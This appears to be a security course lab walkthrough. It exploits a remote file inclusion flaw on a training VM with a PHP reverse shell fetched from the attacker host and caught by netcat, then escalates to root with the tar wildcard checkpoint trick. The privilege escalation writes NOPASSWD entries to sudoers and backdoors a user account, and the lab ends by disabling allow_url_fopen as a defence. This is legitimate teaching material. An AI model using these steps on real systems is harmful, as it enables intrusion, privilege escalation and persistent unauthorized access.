Exercise: RFI and Privilege Escalation (using Milnet)

Steps

1. This virtual machine doesn't have a static IP address - let's go find it on our virtual network using `nmap`:

   ```
   nmap -sP 10.23.58.0/24
   ```

2. Get the machine IP from the output. Note that the target won't be `10.23.58.30` (your Kali machine) or `10.23.58.1`.

3. Let's put this machine into our `/etc/hosts`. Take the IP address where you found milnet and put it in the left column below where the number `10.23.58.xxx` is.

   ```
   # DO NOT PASTE THIS WITHOUT CHANGING THE IP TO THE VALUE FROM STEP 3.
   echo "10.23.58.xxx   milnet" | sudo tee -a /etc/hosts
   ```

4. Let's check for a port 80 web page. Start up a browser and browse to: http://milnet

5. You see a web page with three buttons in the left frame, "Main," "Bombe," and "Props."

6. Let's view the source - hit `Ctrl+U`

7. The source gives us two options to read - click the `nav.php` page.

8. Note that the buttons are actually three separate forms. All three do a `POST` request to `content.php`. Each one sends a different value for route: `main`, `bomb` and `props`. Given that everything else is PHP, it's likely that these will correspond to pages like `main.php`, `bomb.php` and `props.php`.

9. Let's start up ZAP to scan for web application vulnerabilities. First, click the application launch menu (Kali logo) in the upper left corner of the screen.

10. Find the menu item for "03 - Web Application Analysis". Hover on that to expand that category.

11. Click on the "ZAP" item.
12. Wait a few moments for the OWASP ZAP splash screen/window to load.
13. When the dialog box asks "Do you want to persist the ZAP session?," choose "No, I do not want..." and click the Start button.
14. If you get a set of three big graphical icons, allowing for "Automatic Scan," "Manual Scan" and "Learn More," please choose "Automatic Scan."
15. Find the URL to attack form field, right above the (Lightning Bolt) "Attack" button.
16. Fill in `http://milnet` in that field and click the "Attack" button.
17. On the left side of the screen, roughly halfway down the page, find the "Alerts" button with an orange flag. Click the button.
18. Watch the alerts until a "Remote File Inclusion" alert appears. When it does, click it.
19. Read the Description field to remind yourself what Remote File Inclusion is.
20. Above the description, note that the vulnerable URL is http://milnet/content.php, with a vulnerable parameter of route.
21. Near the top of the window, near the center of the screen, find the "Request" tab. Click it to see the request that demonstrated the Remote File Inclusion vulnerability here.
22. Note that this page (`content.php`) will load and execute PHP code from any URL specified in the route parameter, though the page appends the `.php` extension to the URL.
23. Let's prepare PHP code for the page to connect to. Leave ZAP running on this screen and open a `lxterminal` window:

    ```
    Click on the terminal picture near the bottom left of the screen.
    ```

    Alternatively:

    ```
    Hit Alt-F2
    Type lxterminal
    Hit enter
    ```

24. We need PHP code that will let us run a shell. Luckily for us, this is Kali Linux. We have a whole directory of webshells:

    ```
    ls /usr/share/webshells/
    ```

25. We'll want one for PHP - take a look at the options:

    ```
    ls /usr/share/webshells/php/
    ```

26. Let's use the PHP reverse shell - copy it to `/home/lockthisdown` and rename it to `prs.php`:

    ```
    cp /usr/share/webshells/php/php-reverse-shell.php /home/lockthisdown/prs.php
    ```

27. We need to configure this program to connect back to our Kali system - take a look at the variable that defines the destination:

    ```
    grep 127.0.0.1 /home/lockthisdown/prs.php
    ```

28. Let's alter this file in place, so the IP address is `10.23.58.30`, our Kali system:

    ```
    sed -i 's/127.0.0.1/10.23.58.30/' /home/lockthisdown/prs.php
    ```

29. Now start a simple web server that can serve this file:

    ```
    cd /home/lockthisdown
    python3 -m http.server 80
    ```

30. Start up a new terminal tab so we can set up a netcat listener for this PHP program to connect back to:

    ```
    Hit Ctrl-Shift-t
    ```

31. Determine the default value for the destination port in the PHP program:

    ```
    grep "port =" /home/lockthisdown/prs.php
    ```

32. Set up the netcat listener on port `1234` (the default port), using `nc` with `-l` (for listen) and `-p` (for port):

    ```
    nc -l -p 1234
    ```

33. Now, switch back to the OWASP Zap.

34. Back down in the lower left pane of the screen, find the Alerts folder. Click the triangle to the left of the words "Remote File Inclusion."

35. This expands and shows an item just below that reads something like `POST: http://milnet/content.php`

36. Right-click on this `POST: http://milnet/content.php` item.

37. From the context menu that appears, choose "Open/Resend with Request Editor."

38. In the manual request editor, find the word "Body (Text)" and click on it to get a drop-down. Choose "Body (Table adv)".

39. In the new table below, click on the "route" line, just beneath the term "Parameter Name"

40. Click on the URL to the right, just below the word "Value"

41. Edit this URL to read http://10.23.58.30/prs

42. Now, to the right of that URL, click on the word "Addins" to open a drop-down menu and choose "URLEncode"

43. Click the "Send" button in the upper right corner of the Manual Request Editor window.

44. The request has been sent - switch back to your `lxterminal` window, where your netcat listener has now received an incoming connection from the web application.

45. We have remote code execution on the system! Woo! Take a look at the web server's space - it proves out our theory that main, bomb and props were PHP scripts:

    ```
    ls /var/www/html
    ```

46. The shell we started with says that we're the `www-data` user. Let's see if we can find a way to escalate privilege.

47. You can try a number of things that we've talked about to look at file permissions:

    ```
    find / -perm -04000 -uid 0 -ls 2>/dev/null
    find / -perm -02000 -gid 0 -ls 2>/dev/null
    find / -perm -002  -type f -xdev -ls 2>/dev/null
    find / -perm -002 -type d -xdev -ls 2>/dev/null
    ```

48. Let's look at the main system crontab file:

    ```
    cat /etc/crontab
    ```

49. It looks like there's a non-standard cronjob here - note the line with `/backup/backup.sh` on it.

50. Let's read that `backup.sh` file if we can:

    ```
    cat /backup/backup.sh
    ```

51. This is interesting - `cron` is going to run a `tar` command as `root`, but that `tar` command uses a wildcard (`*`) and does it in a directory that our `www-data` user owns, `/var/www/html`.

52. You might not know how to leverage this yet, but there's a great hint in this system. Let's look at the home directories:

    ```
    ls /home
    ```

53. There's only one, belonging to `langman`. You can learn about the Cuckoo's Egg tie-in for this from this page later:

    https://books.google.com/books?id=0q1_5QkqV8EC&pg=PT337&lpg=PT337#v=onepage&q&f=false

54. Let's look at what files `langman` has in their home directory:

```
find /home/langman -ls
```

55. There are a number of interesting files, but you should take a look at this one:

    ```
    cat /home/langman/SDINET/DefenseCode_Unix_WildCards_Gone_Wild.txt
    ```

56. We can read this file in a browser:

    https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

57. Find and read section 4.3, entitled "4.3 Tar arbitrary command execution"

58. Let's use this technique. We'll start by creating a script that we'd like the root-privileged `tar` job to execute:

    ```
    cat <<ENDL >/var/www/html/shell.sh
    echo "www-data ALL=(ALL) NOPASSWD:ALL" >>/etc/sudoers
    ENDL
    ```

59. Next, we'll create two files in `/var/www/html` that the `tar` command's wildcard will pick up:

    ```
    touch /var/www/html/--checkpoint-action=exec=sh\ shell.sh
    touch /var/www/html/--checkpoint=1
    ```

60. If we wait about a minute, our `www-data` user will be able to run `sudo` without a password.

61. Try running a `sudo` command and observe that we don't have a TTY:

    ```
    sudo su -
    ```

62. Let's get a real TTY by building a script called `get-tty.py` in `/tmp`:

    ```
    echo 'import pty; pty.spawn("/bin/bash")' >>/tmp/get-tty.py
    ```

63. We can try to run this program, but find there isn't a binary called `python` on the system:

    ```
    python /tmp/get-tty.py
    ```

64. Let's see if we can find a `python` interpreter with a similar name:

    ```
    whereis python
    ```

65. So there are multiple Python interpreters on the system:

    ```
    python3.5 /tmp/get-tty.py
    ```

66. Now run a `sudo` command:

    ```
    sudo su -
    ```

67. We're `root`! Let's go look for a flag in `root`'s home directory:

    ```
    ls /root
    ```

68. Read the credits file, which serves as the flag:

    ```
    cat /root/credits.txt
    ```

69. Now that we have access - let's get ready to defend this system. First, note that there's an ssh daemon on the system:

    ```
    netstat -vantp
    ```

70. Let's change the `langman` user's password to `langman` so we can ssh in as them.

    ```
    passwd langman
    langman
    langman
    ```

71. Next, let's give `langman` `sudo` access:

    ```
    echo "langman ALL=(ALL) NOPASSWD:ALL" >>/etc/sudoers
    ```

72. Now, start up a new terminal tab so we can `ssh` in as `langman`:

    ```
    Hit Ctrl-shift-t
    ```

73. `ssh` in as `langman`:

    ```
    ssh langman@milnet
    langman
    ```

74. `sudo` to `root`:

    ```
    sudo su -
    ```

75. Here's the defense. Let's modify the PHP configuration to deactivate `url_fopen`, so that PHP `fopen` (file open) commands can only open local files. `fopen` will no longer be able to open URLs.

    ```
    sed -i 's/allow_url_fopen = On/allow_url_fopen = Off/' /etc/php/7.0/cgi/php.ini
    ```

76. Now we need to restart the web server - check which one it is:

    ```
    netstat -vantp | grep 80
    ```

77. Let's restart `lighttpd`:

    ```
    systemctl restart lighttpd
    ```

78. Now switch back to the `lxterminal` tab where you have a reverse shell.

79. We'll exit the reverse shell so we can try the attack again. After typing `exit`, you may have to hit `Ctrl-C`.

    ```
    exit
    ```

80. Now restart the netcat listener:

    ```
    nc -l -p 1234
    ```

81. Finally, switch back to ZAP and repeat the process of trying to trigger a remote shell. Go back to the step that begins, “Right-click on this”POST: http://milnet/content.php" item." This will be roughly step 36. We expect this attack to fail.

82. Run the attack and note how you never get the shell in your netcat listener.

83. Change your Slack status to `:thumbsup:`.

84. Suspend the virtual machines:

    ```
    sudo /scripts/suspend-all-vms.sh
    ```

Notes

An alternative way to accomplish step 3 where we set the IP address of the `milnet` host is to use `virsh`:

```
grep -q milnet /etc/hosts || (echo "$(sudo virsh net-dhcp-leases default | grep seckenheim |
```